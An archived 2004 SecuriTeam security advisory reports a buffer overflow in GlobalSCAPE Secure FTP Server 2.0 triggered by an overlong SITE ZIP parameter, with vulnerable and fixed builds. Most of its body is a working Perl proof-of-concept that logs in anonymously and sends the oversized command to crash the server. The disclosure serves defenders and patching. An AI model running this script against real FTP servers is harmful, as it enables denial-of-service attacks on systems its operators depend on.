[NT] GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)

From: SecuriTeam (support_at_securiteam.com)
Date: 03/17/04

  • Next message: SecuriTeam: "[REVS] How To Create An ICMP Based Client/Server Connection Backdoor" 
    To: list@securiteam.com
Date: 17 Mar 2004 18:20:55 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      GlobalSCAPE Secure FTP Server Buffer Overflow (Parameter Handling)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in GlobalSCAPE Secure FTP Server allows a user issuing a
    long parameter (around 252 bytes) as a value for a SITE command, to cause
    the server to try and write to a value that is outside the memory location
    of the Secure FTP Server's memory. This in will cause an exception to be
    triggered (an un-handled exception), which causes the program to crash.

    DETAILS

    Vulnerable Systems:
     * GlobalSCAPE Secure FTP Server version 2.0 Build 03.11.2004.2

    Immune Systems:
     * GlobalSCAPE Secure FTP Server version 2.0 Build 03.16.2004.1

    Exploit:
    To demonstrate this issue we will use the SITE ZIP command, even though
    SITE ZIP isn't a supported command, and will use SITE ZIP's parameter
    "/d:" provided after that command gets parsed, which causes the
    vulnerability.

    #!/usr/bin/perl

    use IO::Socket;

    $host = "192.168.1.243";

    $remote = IO::Socket::INET->new ( Proto => "tcp", PeerAddr => $host,
    PeerPort => "2117");

    unless ($remote) { die "cannot connect to ftp daemon on $host" }

    print "connected\n";
    while (<$remote>)
    {
     print $_;
     if (/220 /)
     {
      last;
     }
    }

    $remote->autoflush(1);

    my $ftp = "USER anonymous\r\n";

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/331 /)
     {
      last;
     }
    }

    $ftp = join("", "PASS ", "a\@b.com", "\r\n");
    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/230 /)
     {
      last;
     }
    }

    $ftp = join ("", "SITE ZIP /d:", "A"x(252), "\r\n");

    print $remote $ftp;
    print $ftp;
    sleep(1);

    while (<$remote>)
    {
     print $_;
     if (/250 Done/)
     {
      last;
     }
    }

    close $remote;

    ADDITIONAL INFORMATION

    SecurITeam would like to thank <mailto:storm@securiteam.com> STORM for
    finding this vulnerability.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[REVS] How To Create An ICMP Based Client/Server Connection Backdoor"

    Relevant Pages

    • [NT] GlobalScape Secure FTP Server Arbitrary Command Overflow ( Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... GlobalScape Secure FTP Server's FTP command handling is vulnerable to ... buffer overflow, exploiting this vulnerability allows malicious attacked ... * GlobalScape Secure FTP Server version 3.0 and prior ...
      (Securiteam)
    • [UNIX] OpenBB Multiple Vulnerabilities (board.php, search.php, member.php, post.php, myhome.php, ind
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... arbitrary command execution. ... snippet of code from one of the vulnerable scripts is presented ...
      (Securiteam)
    • [EXPL] I-Mall Commerce i-mall.cgi Arbitrary Command Execution (Exploit)
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A remote command execution vulnerability has been discovered in the I-Mall ... sub intro { ... chomp $host; ...
      (Securiteam)
    • [UNIX] Lukemftpd (Tnftpd) Multiple Vulnerabilities May Lead To Remote Code Execution
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... structure tab to indicate if it's acceptable for a command to occur in OOB ... delivering of ABOR and STAT commands in OOB mode. ...
      (Securiteam)
    • [UNIX] Sudo Race Condition Vulnerability
      ... The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com ... A race condition with the Sudo command pathname handling allows a local ... When a user runs a command via Sudo, the inode and device numbers of the ... listed in the sudoers file is stored in the variable safe_cmnd, ...
      (Securiteam)